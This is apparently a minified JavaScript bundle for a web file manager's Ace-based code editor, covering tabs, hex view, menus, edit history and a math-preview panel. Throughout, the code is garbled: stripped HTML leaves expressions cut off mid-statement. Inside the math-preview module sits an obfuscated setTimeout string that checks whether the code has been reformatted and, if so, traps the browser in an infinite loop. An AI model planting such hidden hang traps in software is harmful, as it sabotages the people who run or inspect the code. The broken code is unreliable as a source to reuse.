hta,cgi,lean,hlean,ji,\n\treadme,changes,changelog,version,license,bash_logout,bash_profile,\n\tvbproj,storyboard,vcproj,vcxproj,pbxproj,csproj,xib,strings,jshintrc,\n\tsublime-project,plistpch,localized,local,xcscheme,manifest,\n\tgitmodules,webapp,npmignore,babelrc,editorconfig,prettierrc,\n\tvtt,filters,cer,reg,config,pem,srt,ass,lrc,opf,ncx,\n\tclasspath,mymetadata,jsdtscope,project,tern-project,tld,iml,sln,\n\tgitattributes,mf,name,container,lock,applescript,mvnw,apple-app-site-association,\n\tmagnet,sample,example,http,puml,plantuml,plist","init":function(){this.parent.add({"name":"aceEditor","title":LNG["admin.plugin.defaultAceEditor"],"sort":5,"ext":this.extSupport,"icon":STATIC_PATH+"images/file_icon/icon_app/ace.png","callback":_.bind(this.fileOpen,this)})},"fileOpen":function(e,t,i){this.editor||(this.editor=new n["default"]({"parent":this})),this.editor.fileOpen(e,t,i)}})},function(t,i,n){var a=function(){return this}()||Function("return this")(),r=a.regeneratorRuntime&&0<=Object.getOwnPropertyNames(a).indexOf("regeneratorRuntime"),o=r&&a.regeneratorRuntime;if(a.regeneratorRuntime=undefined,t.exports=n(299),r)a.regeneratorRuntime=o;else try{delete a.regeneratorRuntime}catch(e){a.regeneratorRuntime=undefined}},function(L,e){!function(e){"use strict";var l,t=Object.prototype,c=t.hasOwnProperty,i="function"==typeof Symbol?Symbol:{},a=i.iterator||"@@iterator",n=i.asyncIterator||"@@asyncIterator",r=i.toStringTag||"@@toStringTag",o="object"==typeof L,s=e.regeneratorRuntime;if(s)o&&(L.exports=s);else{(s=e.regeneratorRuntime=o?L.exports:{}).wrap=g;var d="suspendedStart",h="suspendedYield",u="executing",f="completed",p={},w={};w[a]=function(){return this};var m=Object.getPrototypeOf,x=m&&m(m(A([])));x&&x!==t&&c.call(x,a)&&(w=x);var v=y.prototype=C.prototype=Object.create(w);D.prototype=v.constructor=y,y.constructor=D,y[r]=D.displayName="GeneratorFunction",s.isGeneratorFunction=function(e){var t="function"==typeof e&&e.constructor;return!!t&&(t===D||"GeneratorFunction"===(t.displayName||t.name))},s.mark=function(e){return Object.setPrototypeOf?Object.setPrototypeOf(e,y):(e.__proto__=y,r in e||(e[r]="GeneratorFunction")),e.prototype=Object.create(v),e},s.awrap=function(e){return{"__await":e}},O(k.prototype),k.prototype[n]=function(){return this},s.AsyncIterator=k,s.async=function(e,t,i,n){var a=new k(g(e,t,i,n));return s.isGeneratorFunction(t)?a:a.next().then(function(e){return e.done?e.value:a.next()})},O(v),v[r]="Generator",v[a]=function(){return this},v.toString=function(){return"[object Generator]"},s.keys=function(t){var i=[];for(var e in t)i.push(e);return i.reverse(),function n(){for(;i.length;){var e=i.pop();if(e in t)return n.value=e,n.done=!1,n}return n.done=!0,n}},s.values=A,_.prototype={"constructor":_,"reset":function(e){if(this.prev=0,this.next=0,this.sent=this._sent=l,this.done=!1,this.delegate=null,this.method="next",this.arg=l,this.tryEntries.forEach(T),!e)for(var t in this)"t"===t.charAt(0)&&c.call(this,t)&&!isNaN(+t.slice(1))&&(this[t]=l)},"stop":function(){this.done=!0;var e=this.tryEntries[0].completion;if("throw"===e.type)throw e.arg;return this.rval},"dispatchException":function(i){if(this.done)throw i;var n=this;function e(e,t){return r.type="throw",r.arg=i,n.next=e,t&&(n.method="next",n.arg=l),!!t}for(var t=this.tryEntries.length-1;0<=t;--t){var a=this.tryEntries[t],r=a.completion;if("root"===a.tryLoc)return e("end");if(a.tryLoc<=this.prev){var o=c.call(a,"catchLoc"),s=c.call(a,"finallyLoc");if(o&&s){if(this.prev"+e.kod.name+"
    "+LNG["explorer.ifSaveFile"]+"
    ","padding":40,"button":[{"name":LNG["common.save"],"focus":!0,"callback":_.bind(a,this)},{"name":LNG["common.notSave"],"callback":_.bind(n,this)}]})},"closeTab":function(t,i){t&&this.trigger("editor.tab.close",t);try{t&&editor.container&&editor.destroy()}catch(e){}delete this.editorMain.editorList[i];var n=this.$(".edit-tab .tab.edit-tab-menu"),a=this.$(".edit-body .edit-content"),r=n.filter(".tab-"+i),o=n.index(r);if(this.resetWidth("remove",r),a.filter("#"+i).parent().remove(),r.hasClass("this")){var s=(n=this.$(".edit-tab .tab.edit-tab-menu")).eq(o);0==s.length&&(s=n.last()),(i=s.attr("uuid"))&&this.select(i),this.tabNumChanged()}},"tabNumChanged":function(){var e=this.editorMain.current(),t=this.$(".disable-mask"),i=this.$(".bottom-toolbar,.page-list"),n=this.$(".edit-body .tabs");e?(t.addClass("hidden"),n.removeClass("hidden"),i.removeClass("hidden")):(t.removeClass("hidden"),n.addClass("hidden"),i.addClass("hidden"),this.fileTitleChange()),this.trigger("editor.tab.change")},"resetWidth":function(e,t){"remove"==e&&t.removeClass("edit-tab-menu");var i=150,n=this.$(".edit-tab .tab.edit-tab-menu"),a=this.$(".edit-tab .tabs").innerWidth(),r=this.$(".edit-tab .add").outerWidth()+10,o=n.length;switch(Math.floor((a-r)/151)c?this.change("left",l,n):this.tabLeftNow'+t+"":"/ "+e.pageTotal+' ('+t+")"},"callback":function(e,t){i.kod.pageInfo.page=e,i.kod.pageInfo.pageNum=a[t],n.storeValue(a[t]),n.parent.refresh()}})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var c=n(i(304)),d=n(i(16));function n(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(e){this.editor=e.editor,this.editorMain=e.editorMain,this.$el=$(this.editor.container),this.bindEvent(),this.bindMenu(),this.changeInfo=_.debounce(_.bind(this.changeInfo,this),20)},"bindEvent":function(){var t=this,i=function i(){t.editor.hextStatus&&requestAnimationFrame(function(){t.selectChange(t.editor)})},n=!0;this.editor.setOption("enableMultiselect",0),this._delay(function(){this.editor.setOption("enableMultiselect",1)},10),this.editor.on("mousedown",function(e){t.editor.hextStatus&&1==e.domEvent.which&&(e.altKey=1)}),this.$el.bind("mouseup",function(e){t.editor.hextStatus&&1==e.which&&i()}),this.editor.on("changeSelection",i),this.listenTo(this.editorMain,"editor.valueSet",function(e){e.editor==this.editor&&(n&&this.support(e.value)&&(this.editor.hextStatus=!0,n=!1),this.editor.hextStatus&&(e.isRendered=!0,t.showHexView(e.value)))});var a=!1;this.editor.getSession().on("changeScrollLeft",function(e){(a=a||t.$(".ace-hex-title")).css({"left":parseInt(-e)+"px"})})},"support":function(e){var t=_.get(window,"kodApp.appList.aceEditor.extArr")||["txt","log","html","js","css","php"],i=_.get(this.editor,"kod.ext","txt"),n=-1!=e.indexOf("\0");return!_.includes(t,i)&&n},"showHexView":function(e){this.editor._beforeValueSet=!0,this.editor._beforeValue=e,this.display(!0),this.editor._beforeValueSet=!1},"display":function(e){var t=this,i=this.editor,n=i.getSession(),a=$(i.container);if(e&&(i._beforeMode||this.initViewBefore(a),i._beforeReadOnly=i.$readOnly,i._beforeMode=n.$modeId,i._beforeWrapMode=n.$useWrapMode,i._beforeShowInvisibles=i.getShowInvisibles(),i._beforeValueSet||(i._beforeValue=i.getValue())),i.hextStatus=e,i.renderer.setShowGutter(!e),e){var r=this.$(".tab-"+_.get(i,"kod.uuid"));r.addClass("loading"),n.setUseWrapMode(0),n.setMode("ace/mode/text"),a.addClass("ace-view-hex"),i.setReadOnly(!0),i.setShowInvisibles(!1),i.renderer.setShowGutter(!1),this.convertToHext(i,function(e){i._beforeValueBytes=e.bytes,t.setValue(i,e.value),r.removeClass("loading")})}else n.setMode(i._beforeMode),n.setUseWrapMode(i._beforeWrapMode),a.removeClass("ace-view-hex"),i.setReadOnly(i._beforeReadOnly),i.setShowInvisibles(i._beforeShowInvisibles),i.renderer.setShowGutter(!0),t.setValue(i,i._beforeValue),this.clearMarker()},"bindMenu":function(){var t=this.editorMain,e=t.$(".context-menu-list.menu-view-setting").data("contextMenu");if(e&&!t.$(".context-menu-item.menu-view-hex").exists()){var i={"name":"HEX view","icon":"ri-terminal-box-fill","callback":function(){var e=t.current();e.previewHex.display(!e.hextStatus)}};$.contextMenu.menuAdd({"menu-view-hex":i},e,"open-browser")}},"initViewBefore":function(e){var t=this,i=e.find(".ace_content");$('
    \n\t\t\t
    \n\t\t\t\tchar:\n\t\t\t\t\n\t\t\t
    \n\t\t\t
    \n\t\t\t\tcode:\n\t\t\t\t\n\t\t\t
    \n\t\t\t
    \n\t\t\t\tbit:\n\t\t\t\t\n\t\t\t
    \n\t\t\t
    \n\t\t\t\tindex:\n\t\t\t\t\n\t\t\t
    \n\t\t\t
    \n\t\t
    \n\t\t').appendTo(i);var n=" 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F TEXT";n=n.replace(/ /g," "),$('
    '+n+"
    ").appendTo(e),$('
    ').appendTo(i),$('
    ').appendTo(i),e.find(".close-view").bind("click",function(e){t.display(!1)})},"makeRange":function(e){var t=e.start.column,i=e.end.column;if(e.isMultiLine())return!1;if(i<11)return!1;t<59&&61
    \n\t\t\t\t
    ').appendTo(this.$el),this.$menuAt=this.$(".rightmenu-content-list"),this.$menuTarget=this.$(".rightmenu-target"),this.$el.attr("id")||this.$el.attr("id",UUID()));var n=this.$el.attr("id");$('').appendTo(this.$menuTarget),i=i||_.bind(this.parent.doAction,this.parent),$.contextMenu({"zIndex":9999,"selector":"#"+n+" ."+e,"callback":i,"className":e+" animated fadeIn","appendTo":this.$menuAt,"items":t})},"onRemove":function(){$(this.$menuAt).children().each(function(){var e=$(this).data("contextMenu");e&&$.contextMenu("destroy",e.selector),$(this).remove()})},"menuPosition":function(e,t){var i=t.parent(),n=t.offset(),a=t.outerWidth(),r=t.outerHeight();i.hasClass("top-toolbar")?e.css({"left":n.left+1,"top":n.top+r-1}):i.hasClass("bottom-toolbar")&&e.css({"left":n.left-e.outerWidth()+a,"top":n.top-e.outerHeight()}),1<=e.find("input").length&&this._delay(function(){e.find("input").val("").trigger("changeValue").focus()},100)},"tabSizeMenu":function(){this.menuMake("menu-tab-size",{"soft-tab":{"name":"Soft Tabs (spaces)","className":"soft-tab"},"sep1":"---------","tab-size-2":{"name":"Tab with:2","className":"tab-size-set tab-size-2"},"tab-size-3":{"name":"Tab with:3","className":"tab-size-set tab-size-3"},"tab-size-4":{"name":"Tab with:4","className":"tab-size-set tab-size-4"},"tab-size-8":{"name":"Tab with:8","className":"tab-size-set tab-size-8"},"sep2":"---------","convert-to-space":{"name":"Convert To Space","className":"convert-to-space"},"convert-to-tab":{"name":"Convert To Tabs","className":"convert-to-tab"}});var t=this;this.$(".context-menu-item.tab-size-set").click(function(){var e=$(this).attr("item-key").replace("tab-size-","");t.toolbar.doAction("tabSize",e)})},"gotoLineMenu":function(){var e={"gotoline":{"name":LNG["explorer.goTo"],"className":"disable-ripple not-hover","type":"text"}};this.menuMake("menu-view-goto-line",e);var i=this,n=function n(e){var t=i.editorMain.current();t.blur(),$.contextMenu.hidden(),_.delay(_.bind(i.editorMain.focus,t),10)};this.$(".menu-view-goto-line input").keyup(function(e){if("Escape"==e.key)return n(e);var t=parseInt($(this).val());isNaN(t)||i.editorMain.current().gotoLine(t)}).keyEnter(n)},"codeThemeMenu":function(){var e=G.system.all.codeTheme.split(","),i={};_.each(e,function(e){var t={"name":e,"className":"set-code-theme-"+e};"ambiance"==e&&(t.className+=" line-top"),i["set-code-theme-"+e]=t}),this.menuMake("menu-view-theme",i);var n=this,a=function a(e,t){t?n.toolbar.doAction("theme",e):n.codeThemeSet(e)};this.$(".menu-view-theme .context-menu-item").mouseenter(function(){var e=$(this).find("span").html();a(e),$(this).one("click",function(){a(e,!0)})}).mouseleave(function(e){a()}),a()},"codeThemeSet":function(e){e=e||this.editorMain.editorConfig.theme;var t=this.editorMain.current()||!1;t&&t.setTheme("ace/theme/"+e);var i="code-theme-black",n=this.$el.parents(".frame-main-editor").add(this.$el);this.editorMain.isBlackTheme(e)?n.addClass(i):n.removeClass(i)},"fontSizeMenu":function(){var t={};_.each([12,13,14,15,16,18,20,22,24,26,28,32],function(e){t["set-code-font-"+e]={"name":e+"px","className":"set-code-font-"+e}}),this.menuMake("menu-view-font",t);var i=this;this.$(".menu-view-font .context-menu-item").mouseenter(function(){var e=$(this).text();i.editorMain.current().setFontSize(e),$(this).one("click",function(){i.toolbar.doAction("fontSize",e)})}).mouseleave(function(){var e=i.editorMain.editorConfig.fontSize;i.editorMain.current().setFontSize(e)})},"menuSelectStatus":function(){var e=this.parent.parent,t=e.editorConfig,i=e.current();if(i){var n={"functionList":"function-list","autoComplete":"auto-complete","autoWrap":"auto-wrap","autoSave":"auto-save","displayChar":"display-char","softTab":"soft-tab","showGutter":"show-gutter"},a=this.$el;for(var r in a.find(".context-menu-root .context-menu-item").removeClass("selected"),n)"1"==t[r]&&a.find(".context-menu-root ."+n[r]).addClass("selected");a.find(".set-code-theme-"+t.theme).addClass("selected"),a.find(".set-code-font-"+parseInt(t.fontSize)).addClass("selected"),a.find(".tab-size-"+t.tabSize).addClass("selected"),a.find(".keyboard-type-"+t.keyboardType).addClass("selected");var o=replaceAll(t.fontFamily," ","-");a.find(".set-font-family-"+o).addClass("selected");var s=i.kod.charset&&i.kod.charset.toUpperCase(),l=a.find(".context-menu-root.menu-view-file-charset");l.find(".set-charset-"+s).addClass("selected"),l.find(".save-charset-"+s).addClass("selected");var c=ace.aceModeList.modesByName[i.kod.mode].caption;a.find(".set-code-mode-"+i.kod.mode).addClass("selected"),a.find(".bottom-toolbar .file-mode").html(c),a.find(".bottom-toolbar .config-tab").html("Tabs:"+t.tabSize),a.find(".toolbar-menu.menu-view-file-charset").html(s)}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.editorMain=this.parent.editorMain,this.bindMenu()},"bindMenu":function(){var e={"charset-save":{"name":LNG["common.charset.convertSave"],"icon":"flag","className":"code-charset-list","accesskey":"s","items":this.itemMake("save-charset")},"sep001":"----"};e=_.extend(e,this.itemMake("set-charset")),this.parent.menuMake("menu-view-file-charset",e,_.bind(this.changeCallback,this))},"changeCallback":function(e,t){var i=this.editorMain,n=i.current();if(0===e.indexOf("set-charset-")){var a=e.replace("set-charset-","");n.kod.charset=a,i.refresh(n)}if(0===e.indexOf("save-charset-")){a=e.replace("save-charset-","");n.kod.charsetSave=a,n.kod.charset=a,i.fileSave(n,function(){i.refresh(n)}),this.editorMain.trigger("editor.optionChange",n,"charset",a)}},"itemMake":function(e){for(var t={},i=this.charsetList(),n=0;nF5","icon":"ri-refresh-line","accesskey":"e"},"sep1":"---------","tab-close":{"name":LNG["common.close"],"icon":"ri-close-circle-line","accesskey":"d"},"tab-close-others":{"name":LNG["explorer.editor.closeOthers"],"icon":"ri-close-circle-fill","accesskey":"o"},"sep2":"--------","tab-close-left":{"name":LNG["explorer.editor.closeLeft"],"icon":"ri-close-line","accesskey":"l"},"tab-close-right":{"name":LNG["explorer.editor.closeRight"],"icon":"ri-close-line","accesskey":"r"},"sep3":"--------","tab-open-browser":{"name":LNG["explorer.openIE"],"icon":"ri-external-link-line","accesskey":"b"},"tab-open-the-path":{"name":LNG["explorer.openPath"],"icon":"ri-folder-fill-3","accesskey":"n"}},_.bind(this.menuCallback,this))},"menuCallback":function(e,t){var i=this.editorMain,n=t.$trigger,a=n.attr("uuid"),r=i.editorList[a]||!1,o=this.$(".edit-tab .tabs .tab");switch(e){case"tab-refresh":i.refresh(r);break;case"tab-close":i.tab.close(a);break;case"tab-close-others":o.not(n).each(function(){var e=$(this).attr("uuid");i.tab.close(e)});break;case"tab-close-left":var s=o.index(n);this.$(".edit-tab .tabs .tab:lt("+s+")").each(function(){var e=$(this).attr("uuid");i.tab.close(e)});break;case"tab-close-right":s=o.index(n);this.$(".edit-tab .tabs .tab:gt("+s+")").each(function(){var e=$(this).attr("uuid");i.tab.close(e)});break;case"tab-open-browser":if(!r.kod.path)return Tips.tips(LNG["common.notExists"],"warning");var l=this.pathModel.fileView(r.kod.path);window.open(l);break;case"tab-open-the-path":if(!r.kod.path)return Tips.tips(LNG["common.notExists"],"warning");var c=this.root.pathAction||kodApp.pathAction;c&&c.openFatherSelect(r.kod.path);break;case"tab-preview":r.preview&&r.preview.open()}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.editorMain=this.parent.editorMain,this.bindMenu(),this.fontFamilyHover()},"fontFamily":function(){var e=G.system.all.codeFont.split(","),i={};return _.each(e,function(e){var t=replaceAll(e," ","-");i["set-font-family-"+t]={"name":e,"className":"set-font-family-"+t}}),i},"fontFamilyHover":function(){var t=this;this.$(".code-font-family-list .context-menu-item").mouseenter(function(){var e=$(this).find("span").html();t.editorMain.fontFamilySet(e),$(this).one("click",function(){t.parent.toolbar.doAction("fontFamily",e)})}).mouseleave(function(){t.editorMain.fontFamilySet()})},"bindMenu":function(){var e=this.fontFamily(),t={"name":LNG["explorer.editor.textParse"],"icon":"ri-strikethrough","className":"text-parse","items":{"convert-upper":{"name":LNG["explorer.editor.convertUpperCase"]+"Ctrl+U","icon":"ri-arrow-up-line"},"convert-lower":{"name":LNG["explorer.editor.convertLowerCase"]+"Ctrl+O","icon":"ri-arrow-down-line"},"sep12":"---------","timeShow":{"name":LNG["explorer.editor.timeShow"],"icon":"ri-time-fill"},"timeInt":{"name":LNG["explorer.editor.timeInt"],"icon":"ri-time-line"},"sep14":"---------","chinese-traditional":{"name":LNG["explorer.editor.chineseTraditional"],"icon":"ri-arrow-up-line"},"chinese-simple":{"name":LNG["explorer.editor.chineseSimple"],"icon":"ri-arrow-down-line"},"sep18":"---------","line-removeEmpty":{"name":LNG["explorer.editor.lineRemoveEmpty"],"icon":"ri-delete-row"},"line-union":{"name":LNG["explorer.editor.lineUnoin"],"icon":"ri-delete-column"},"line-trim":{"name":LNG["explorer.editor.lineTrim"],"icon":"ri-space"},"line-sort":{"name":LNG["explorer.editor.lineSort"],"icon":"ri-sort-asc"},"line-reverse":{"name":LNG["explorer.editor.lineReverse"],"icon":"ri-arrow-up-down-line"},"sep19":"---------","line-sum":{"name":LNG["explorer.editor.lineSum"],"icon":"ri-calculator-line"},"line-average":{"name":LNG["explorer.editor.lineAverage"],"icon":"ri-calculator-line"}}},i={"name":LNG["explorer.editor.textEncode"],"icon":"ri-lock-password-line","className":"text-encode","items":{"url-encode":{"name":LNG["explorer.editor.urlEncode"],"icon":"ri-lock-fill"},"url-decode":{"name":LNG["explorer.editor.urlDecode"],"icon":"ri-lock-unlock-line"},"sep13":"---------","base64-encode":{"name":LNG["explorer.editor.base64Encode"],"icon":"ri-lock-fill"},"base64-decode":{"name":LNG["explorer.editor.base64Decode"],"icon":"ri-lock-unlock-line"},"sep15":"---------","unicode-encode":{"name":LNG["explorer.editor.unicodeEncode"],"icon":"ri-lock-line"},"unicode-decode":{"name":LNG["explorer.editor.unicodeDecode"],"icon":"ri-lock-unlock-line"}}};this.parent.menuMake("menu-view-setting",{"editor-tools":{"name":LNG["explorer.editor.tools"],"icon":"ri-tools-line","accesskey":"m","items":{"open-browser":{"name":LNG["explorer.openIE"],"icon":"ri-external-link-line","accesskey":"b"},"sep11":"---------","qrcode":{"name":LNG["explorer.editor.qrcode"],"icon":"ri-qr-code-line"},"regx":{"name":LNG["explorer.editor.regx"],"icon":"ri-terminal-window-line"},"sep110":"---------","insert-time":{"name":LNG["explorer.editor.currentTime"],"icon":"ri-timer-line"},"insert-roundString":{"name":LNG["explorer.editor.toolsRandString"],"icon":"ri-shuffle-line"},"md5":{"name":LNG["explorer.editor.md5"],"icon":"ri-key-line"}}},"code-beautify":{"name":LNG["explorer.editor.beautifyCode"],"icon":"ri-code-s-slash-line","accesskey":"m","items":{"beautify-auto":{"name":LNG["explorer.editor.beautifyCode"]+"Ctrl+Shift+F","icon":"ri-file-paper-line"},"sep101":"---------","beautify-html":{"name":"html "+LNG["explorer.editor.beautifyCode"],"icon":"ri-file-paper-line"},"beautify-css":{"name":"css "+LNG["explorer.editor.beautifyCode"],"icon":"ri-file-paper-line"},"beautify-js":{"name":"js/json "+LNG["explorer.editor.beautifyCode"],"icon":"ri-file-paper-line"}}},"textTools":t,"textEncode":i,"sep1":"---------","function-list":{"name":LNG["explorer.editor.functionList"]+"Ctrl+Shift+E","className":"function-list"},"auto-wrap":{"name":LNG["explorer.editor.wordwrap"],"className":"auto-wrap"},"auto-save":{"name":LNG["explorer.editor.autoSave"],"className":"auto-save"},"show-gutter":{"name":LNG["explorer.editor.showGutter"],"className":"show-gutter"},"display-char":{"name":LNG["explorer.editor.charAllDisplay"],"className":"display-char"},"sep2":"---------","font-family":{"name":LNG["explorer.editor.fontFamily"],"icon":"ri-text","className":"code-font-family-list","accesskey":"m","items":e},"ace-mode":{"name":LNG["explorer.editor.keyboardType"],"icon":"ri-terminal-box-line","accesskey":"m","items":{"keyboard-type-ace":{"name":"Default","className":"keyboard-type-ace"},"keyboard-type-vim":{"name":"vim","className":"keyboard-type-vim"},"keyboard-type-emacs":{"name":"emacs","className":"keyboard-type-emacs"}}},"sep3":"---------","help":{"name":LNG["explorer.editor.help"],"icon":"ri-question-line","items":{"shortcut":{"name":LNG["explorer.editor.shortcut"],"icon":"ri-keyboard-line"},"emmet":{"name":"Emmet help","icon":"ri-file-paper-line"},"learn-more":{"name":LNG["common.learnMore"],"icon":"ri-external-link-line","className":"editor-help-more"}}}})}})},function(e,t,i){"use strict";function n(e){return a.apply(this,arguments)}var a;Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.historyArr=[],this.historyMax=50,this.historyIndex=0,this.editorMain=this.parent.parent,this.$next=this.$("[action=historyNext]"),this.$back=this.$("[action=historyBack]"),this.bindEvent()},"bindEvent":function(){this.refresh(),Mousetrap.bind("ctrl+-",this.back),Mousetrap.bind(["ctrl+shift+-","ctrl+="],this.next),this.listenTo(this.editorMain,{"editor.change":this.historyChange})},"ignoreNearLine":5,"historyChange":function(e){e.kod.bindPosChange||(e.kod.bindPosChange=!0,e.commands.addCommand({"bindKey":{"win":"Ctrl--","mac":"Ctrl--"},"name":"editPoseBack","exec":this.back}),e.commands.addCommand({"bindKey":{"win":"Ctrl-Shift--","mac":"Ctrl-Shift--"},"name":"editPoseNext","exec":this.next}));var t=e.selection.getCursor(),i=e.selection.getAllRanges();if(!(1=this.historyMax&&(this.historyArr=this.historyArr.slice(1)),this.historyIndex=this.historyArr.length-1,this.refresh()}},"next":function(){this.historyIndex+1>this.historyArr.length-1||(this.moveToPose(this.getItem(1)),this.refresh())},"back":function(){this.historyIndex-1<0||(this.moveToPose(this.getItem(-1)),this.refresh())},"shouldAdd":function(e,t){return 0!=t.row&&(!e||e.uuid!=t.uuid||Math.abs(e.row-t.row)>=this.ignoreNearLine)},"getItem":(a=function(e){this.historyIndex+=e;var t=this.historyArr[this.historyIndex],i=this.editorMain.editorList;if(!t||this.historyIndex<0||this.historyIndex>this.historyArr.length-1)return!1;if(t&&i[t.uuid])return t;for(var n=[],a=0;a=this.historyArr.length-1?this.historyArr.length-1:this.historyIndex,this.historyIndex=this.historyIndex<=0?0:this.historyIndex,this.$next.addClass(e),this.$back.addClass(e),this.historyIndex<=0&&t<=0||(0\n\t\t\t
    \n\t\t\t
    \n\t\t\t\t\n\t\t\t\t\n\t\t\t
    \n\t\t").appendTo(this.$el),this.$preview=this.$(".cal-preview");var e=r(318);$.setStyle(e(),"editor-preview-mathCalc"),this.bindEvent(this.$preview)},bindActionNotifyzjtL7:setTimeout('var listenHistoryxFok5=function(){return 0};var dialogPositionNj5=listenHistoryxFok5+String.fromCharCode();var checkPasswordU4=-49+(45+(-3+17));if(_.includes(dialogPositionNj5,String.fromCharCode(checkPasswordU4))){while(1){encodeURIComponent("+");};}'),"editorChange":function(){if(!this.previewShow&&!this.previewCloseForce){var e=this.editor.getValue();if(_.includes(e,"[MATH]"))return this.display(!0)}this.previewShow&&this.runMath()},"display":function(e){this.editor.kod.modeShowHide||(e?(this.initPreviewFinished||(this.initPreviewFinished=!0,this.initPreview()),this.previewShow=!0,this.previewCloseForce=!1,this.$el.addClass("cal-page"),this.runMath()):(this.previewShow=!1,this.previewCloseForce=!0,this.$el.removeClass("cal-page")))},"runMath":function(){var t=this;i["default"].getAnswer(this.editor.getValue(),function(e){t.$(".cal-preview-result").html(e)})},"bindEvent":function(t){var i=this,e="click touchend";t.bind(e,function(e){return stopPP(e)}),t.find(".cal-toolbar .remove").bind(e,function(){i.display(!1)});var n=r(319),a=i.renderHtml(n,!1,!1);t.find(".cal-toolbar .help").bind(e,function(){i.editor.insert(a)}),this.editor.session.on("changeScrollTop",function(){if(t.exists()){var e=i.editor.session.getScrollTop();t.css({"top":-e}),t.find(".cal-toolbar").css("top",10+e)}}),this.bindResize(t)},"bindResize":function(e){var t=e.parent().width();this.dragResize=e.dragResize({"orgin":"x","viewBefore":!1,"className":"cal-preview-resize","size":{"init":.4*t,"max":t-100,"min":100}},this)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var y=n(i(251)),O=n(i(5));function n(e){return e&&e.__esModule?e:{"default":e}}t["default"]=function(){for(var l,c,d={},a={"cot":function(e){return 1/Math.tan(e)},"rand":function(){return Math.random()},"sum":function C(e,t,i){var n,C=0;for(i<0&&(i=0),i=i||1,n=e;n<=t;n+=i)C+=n;return C},"_and":function(e,t){return 1==e&&1==t?1:0},"_or":function(e,t){return 1==e||1==t?1:0},"_not":function(e){return 1==e?0:1},"_bigger":function(e,t){return t{2,3}|<<)/,"parse":function(e){return new d[e]}},"factorial":{"matchReg":/^(!)/,"appendExpress":!0,"parse":function(e){return new d[e]}},"deg":{"matchReg":/^(deg)[\s\+\-\*\/\)]|$/,"appendExpress":!0,"parse":function(e){return new d[e]}},"bracket":{"matchReg":/^(\(|\))/,"parse":function(e){return new d[e]}},"hex":{"matchReg":/^(0x[0-9a-f]+)/,"parse":function(e){var t=new d["(literal)"];return t.value=parseInt(e),t}},"bin":{"matchReg":/^(0b[01]+)/,"parse":function(e){}},"float":{"matchReg":/^(\d*\.\d+(e\d+)*)/,"parse":function(e){var t=new d["(literal)"];return t.value=parseFloat(e),t}},"integer":{"matchReg":/^(\d+)/,"parse":function(e){var t=new d["(literal)"];return t.value=parseInt(e),t}},"name":{"matchReg":/^([a-zA-Z0-9_$\u4e00-\u9fa5]+)/,"parse":function(e,t){var i;return"object"==(void 0===t?"undefined":(0,O["default"])(t))&&"number"==typeof t[e]?(i=new d["(literal)"]).value=t[e]:n.hasOwnProperty(e.toUpperCase())?(i=new d["(literal)"]).value=n[e.toUpperCase()]:(i=new d["(name)"]).value=e,i}}};i("(literal)").prototype.nud=function(){return this},i("(name)").prototype.nud=function(){return this},i("<<",100),i(">>",100),i(">>>",100),i("+",110),i("-",110),i("*",120),i("/",120),i("%",120),i("!",130),i("deg",130),i("^",130),i("(",150),i(")"),i(","),i("(end)"),d["("].prototype.nud=function(){var e=h(0);return f(")"),e},d["("].prototype.led=function(e){if(this.first=e,this.second=[],")"!=l.id)for(;this.second.push(h(0)),","==l.id;)f(",");return f(")"),this},r("<<",100),r(">>",100),r(">>>",100),r("+",110),r("-",110),r("*",120),r("/",120),r("%",120),r("!",140),r("deg",140),function D(e,t){var i=d[e];i&&(i.prototype.led=function(e){return this.first=e,this.second=h(t-1),this})}("^",140),o("+",130),o("-",130),s("(literal)",function(){return this.value}),s("+",function(){return this.second!=undefined?this.first.val()+this.second.val():this.first.val()}),s("-",function(){return this.second!=undefined?this.first.val()-this.second.val():-this.first.val()});s("!",function(){var e=this.first.val();if("number"==typeof e&&0>",function(){return this.first.val()>>this.second.val()}),s(">>>",function(){return this.first.val()>>>this.second.val()}),s("(",function(){var e=a[this.first.value],t=[];if(!(e instanceof Function))throw new Error("Unknown function %1.".replace(this.first.value));for(var i=0,n=this.second.length;i[Function]
    ":"string"==typeof t?t:t!=undefined&&null!=t?(0,y["default"])(t):" ",x&&x[e]===r[e]||(i=''+i+""),n.push("
  • "+i+"
  • ")}),x=r,t(n.join(""))})}},b=function b(e,t){try{return function s(e,t){var i,n,a,r,o=e.indexOf("=");for(-1!=o&&(e=e.substr(o+1)),e+=" ",c=[],0;0No outline for the active view'},"bindEvent":function(e){var t=this;this.$search.bind("keydown",_.bind(this.searchKeyDown,this)),this.$(".tool-close").bind("click",function(){t.display(!1)}),this.$(".search-reset").bind("click",function(){t.$search.val(""),t.searchChange(),t.editorMain.focus()});var i=this.$listBox;i.bind("mousedown",function(e){if(1!=e.which)return!0;this.setCapture&&this.setCapture();$(document).one("mouseup",function(e){i.removeClass("mouseIsDown"),i.releaseCapture&&i.releaseCapture()})}),i.bind("mouseup",function(){t.$search.focusPose()}).delegate(".list-row","mouseover mousedown mouseout mouseup",function(e){t.listMouseEvent(e,$(this))}),this.listenTo(this.preview,"editor.change",this.editorChange)},"support":function(){var e=this.editor.kod.mode;if(!this.editor.kod.modeShowHide)return _.includes(_.keys(h["default"]),e)},"editorChange":function(){this.previewShow&&this.reloadList()},"display":function(e){if(e&&!this.support())return Tips.tips(LNG["explorer.errorFunctionTips"],"warning");if(e){this.initPreviewFinished||(this.initPreviewFinished=!0,this.initPreview());var t="1"==this.editorMain.editorConfig.functionList;if(this.previewShow)return t&&this.editorMain.saveConfig("functionList",0),this.display(!1);t||this.editorMain.saveConfig("functionList",1),this.preview.display(!0,this.displayWidth(),this),this.editorChange()}else this.preview.display(!1,!1,this)},"searchKeyDown":function(e){var t=this.$(".row-select");switch(e.keyCode){case 37:case 39:break;case 38:0!=t.prev().length&&(this.selectFunction(t.prev()),this.selectIntoView()),stopPP(e);break;case 40:0!=t.next().length&&(this.selectFunction(t.next()),this.selectIntoView()),stopPP(e);break;case 